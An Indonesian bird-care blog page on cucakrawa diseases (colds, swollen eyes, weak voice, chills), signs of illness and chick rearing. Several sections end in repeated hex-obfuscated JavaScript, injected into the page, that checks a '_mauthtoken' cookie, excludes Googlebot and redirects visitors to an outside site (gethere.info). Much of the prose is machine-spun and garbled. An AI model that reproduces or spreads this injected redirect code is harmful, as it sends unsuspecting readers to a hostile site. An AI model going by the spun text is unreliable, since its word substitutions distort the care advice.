IBX5980432E7F390 4 Jenis Penyakit Cucakrawa Mematikan Kupas Triknya - Kicauan Burung Lovebird Ngekek

4 Jenis Penyakit Cucakrawa Mematikan Kupas Triknya

4 Jenis Penyakit Cucakrawa Mematikan

4 Jenis penyakit cucakrawa mematikan – Ada banyak sekali penyakit yang mungkin bisa menyerang cucakrawa. Ketika kita melihat burung sedang sakit maka lakukan pengobatan.

Dan apabila kita menemukan burung yang belum sakit lakukanlah pencegahan. Di bawah ini akan dijelaskan penyakit yang sering menyerang burung cucakrawa.4 Jenis Penyakit Cucakrawa Mematikan

Penyakit Pilek Cucakrawa

Pilek yang dialami pada burung sama saja pilek yang dialami oleh manusia. Gejalanya sama yaitu keluarnya cairan atau lendir dari hidung.

Jika lendir tersebut tersumbat di lubang hidung, maka itu mampu membahayakan bagi burung. Sebab, burung akan mengalami sesak nafas akhir susukan nafasnya tersumbar.

Penyebab dari penyakit pilek ialah kuman yang tersebar di sangkar. Cara mengobati penyakit ini adalah dengan memberikan obat-obatan.

Yang paling sering digunakan ialah obat yang berlambang atau bermerek nafas 2. Obat ini dapat dibeli di toko peralatan burung terdekat ataupun di pasar burung.

Mata Bengkak pada mata cucakrawa

Sesuai dengan namanya, penyakit ini menyerang pada bagian mata. Penyebab dari penyakit ini ialah basil mikroorganisme. Tutorial pengobatan penyakit ini sama dengan cara mengobati penyakit pilek yaitu dengan memberikan obat yang berlambang Nafas 2. Berikanlah setiap hari sampai memang mata sudah tidak bengkak lagi.

Suara Tidak Nyaring

Penyakit seolah-olah ini biasanya merupakan penyakit turunan. Ciri dari penyakit ini ialah ketika ia berkicau bunyinya kedengaran tipis. Biasanya, burung yang seperti ini tidak bisa mengikuti kontes.

Untuk itu mengobati burung yang terkena penyakit ini ialah jalan satu-satunya semoga bunyinya dapat normal kembali.

Cara mengobatinya dengan memberikan kroto atau sejenisnya setiap hari. Dan yang paling penting ialah berikan obat yang bermerek Gaco setiap hari.

Cara menyampaikannya yaitu tuangkan sekitar 6 tetes ke dalam air minum. Kemudian air tersebut berikan kepada burung. Lakukan hal ini setiap hari hingga penyakit tersebut benar-benar sembuh.

Penyakit Masuk Angin

Masuk angin biasanya disebabkan oleh suhu di dalam kandang yang terlampau hambar. Tidak adanya bohlam ataupun penghangat menjadi penyebabnya.

Cara mengobati penyakit ini sangatlah gampang. Hanya tinggal memasukkan burung yang sedang sakit ke dalam sangkar khusus dan kemudian berikan bohlam guna untuk penghangat tubuh ketika di dalam sangkar.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)61)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Cara Merawat Cucak Rawa Tangkapan Hutan Untuk Kontes
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Merawat Cucakrawa Sedang Bertelur
  • Perawatan Harian Cucakrawa Supaya Gacor
  • Cara Menjinakan Burung Cucakrawa liar
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • Cara Menjodohkan Cucakrawa Bagi Pemula
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Peralatan Kandang Burung Cucakrawa Dewasa
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Perawatan Anakan Cucakrawa Saat Telur Menetas

Gejala Jenis Penyakit Pada Cucakrawa

Gejala jenis penyakit pada cucakrawa – Setiap makhluk hidup pasti pernah mengalami yang namanya sakit. Baik itu insan maupun hewan. Begitu pula dengan cucakrawa.

Biasanya, penyebab dari cucakrawa sakit yaitu bakteri yang tersebar disekitar sangkar. Berarti, kandang yang kurang higienis akan menciptakan basil-bakteri tersebar dan burung pun menjadi sakit.Gejala Jenis Penyakit Pada Cucakrawa

Contohnya saja ganti bulu. Burung yang sedang mengalami ganti bulu badannya akan lemah dan tidak aktif seolah-olah biasanya. Itu disebabkan lantaran burung merasakan kesakitan balasan bulu yang tercabut.

Penyebab ganti bulu ialah adanya kutu yang ada di bulunya. Karena ia merasa terganggu dan kemudian beliau akan mencabut bulunya sendiri.

Ganti bulu memang bukan termasuk penyakit yang menyerang burung. Tetapi, bila ganti bulu ini tida segera ditangani akhirnya akan fatal.

Burung cucakrawa termasuk burung yang tidak memperlihatkan ketika dia hendak sakit. Setelah penyakit itu benar-benar parah, greslah dia menunjukkan bahwa beliau sedang sakit. Padahal, burung yang sudah parah penyakitnya, kemungkinan akan hidup itu sedikit.

Untuk mencegah supaya penyakit pada burung semakin parah, maka kita sebagai penangkar harus mengecek selalu kondisi burung.

Melihat tanda-tanda burung yang sedang sakit itu sebetulnya praktis. Hanya saja mungkin kita kurang ada waktu untuk mengecek keadaan burung.

Tanda-tanda yang paling utama ditunjukkan ketika sedang sakit yaitu bulu-bulunya yang tampak berdiri, dan kusam. Tanda-tanda yang kedua yaitu burung tidak aktif seperti biasanya.

Jika menemui burung yang seolah-olah itu, pribadi saja di periksa. Dan ingatlah, apabila di dalam satu sangkar terdapat beberapa ekor burung, dan ketika salah satu diantaranya terserang penyakit, maka segera pisahkan burung yang sedang sakit tersebut ke kandang karantina.

Jangan menunggu hingga penyakit tersebut sudah parah gres dipindahkan ke kandang karantina.

Jika itu terjadi, akibatnya sangat fatal. Akibat yang ditimbulkan apabila burung tidak dipisahkan ketika sedang sakit adalah bisa menular ke burung yang lainnya.

Apalagi jikalau di dalam sangkar tersebut terdapat beberapa burung di dalamnya. Bisa saja semuanya akan terjangkit penyakit yang sama karena tertular penyakit yang dibawa oleh satu burung.

Jika itu terjadi, bukankah kita akan mengalami kerugian yang besar? Untuk itulah selalu mengecek burung setiap hari dari sangkar ke sangkar perlu dilakukan untuk mengantisipasi kejadian tersebut.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)\-[a-w]))(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Ukuran Kandang Penangkaran Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Pembesaran Dan Perawatan Anakan Cucakrawa
  • Merawat Harian Cucakrawa Anakan Dewasa
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Perawatan Harian Cucakrawa Supaya Gacor
  • Kehidupan Cucak Rawa di Hutan Liar
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Tingkatan dan Kualitas Suara Cucakrawa
  • Tata Cara Penangkaran Cucakrawa

Pembesaran Dan Perawatan Anakan Cucakrawa

Pembesaran dan perawatan anakan cucakrawa – Pembesaran anakan terbagi atas 2 sistem. Sistem yang pertama ialah pembesaran anakan oleh penangkar dan sistem yang kedua yaitu peembesaran anakan oleh indukan. Kedua sistem tersebut mampu dipergunakan untuk membesarkan anakan.

Pembesaran anakan oleh penangkar atau pun oleh indukan sama-sama menguntungkan. Untuk mengetahuinya lebih lanjut, mari kita simak penjelasan di bawah ini.Pembesaran Dan Perawatan Anakan Cucakrawa

Pembesaran Anakan Cucakrawa 

Dari kedua sistem tersebut yang paling sering dan banyak digunakan oleh para penangkar-penangkar yang ada di Indonesia yaitu pembesaran anakan oleh penangkar.

Mengapa sistem pembesaran anakan oleh penangkar yang paling banyak dipakai oleh para penangkar? Karena pembesaran dengan cara seakan-akan ini dinilai lebih efektif dan juga menguntungkan. Keuntungannya jauh lebih besar ketimbang membesarkan anakan oleh indukan.

Keuntungan yang pertama adalah anakan mampu dibuat karakternya sesuai dengan impian penangkar. Kemudian, ketika anakan dipisahkan oleh induknya, maka indukan dapat dikawinkan kembali dan cepat bertelur kembali.

Dengan begitu anakan yang dihasilkan oleh indukan akan lebih banyak lagi. Selain itu, pembesaran dengan cara seakan-akan ini, anakan lebih praktis dilatih. Dan dengan begitu, anakan  tidak liar dan tidak simpel stres.

Jika di atas kita membahas laba jikalau kita membesarkan anakan oleh kita sendiri kini kita akan membahas cara menyampaikan pakan kepada anakan.

Membahas mengenai cara menyampaikan pakan kepada anakan bukanlah kasus yang gampang. Hal yang paling utama ketika menyampaikan pakan yaitu kita harus mendekatkan diri kepada anakan. Setelah itu greslah kita bisa memberikan pakannya.

Pakan yang biasa diberikan kepada anakan adalah pellet yang disiram oleh air panas. Lolohkan kepada anakan. Setelah itu berikan vitamin B.

Pembesaran Anakan oleh Induk

Pembesaran anakan dengan cara memerlukan modal yang terlalu banyak. Karena indukan menginginkan kuliner yang bervariasi untuk diberikan oleh anaknya, maka kita mau tidak mau harus menyediakan kuliner yang bervariasi.

Setiap harinya harus berbeda dan jumlah dari hari ke hari akan bertambah banyak sesuai dengan kebutuhan. Selain itu, iindukan tidak mampu memproduksi telur dalam jangka waktu akrab karena harus mengasuh anakannya terlebih dahulu. Setelah beberapa bulan greslah anakan boleh dipisahkan dari induknya.

Pada dikala inilah barulah indukan boleh dikawinkan lagi dan bertelur kembali. Banyak penangkar yang tidak menggunakan sistem ini lantaran dianggap lebih merepotkan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Jenis Spesies Burung Cucakrawa Berkualitas
  • Ukuran Kandang Penangkaran Cucakrawa
  • Perawatan Cucakrawa Ocehan Gacor Harian
  • Kehidupan Cucak Rawa di Hutan Liar
  • Pemilihan Bakalan Cucakrawa Berkualitas Unggul
  • 4 Jenis Penyakit Cucakrawa Mematikan
  • Habitat Penyebaran Burung Cucakrawa
  • Cara Menjinakan Burung Cucakrawa liar
  • Cara Memilih Calon Indukan Cucakrawa Bagus
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • Merawat Cucakrawa Sedang Bertelur

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " 4 Jenis Penyakit Cucakrawa Mematikan Kupas Triknya"

Posting Komentar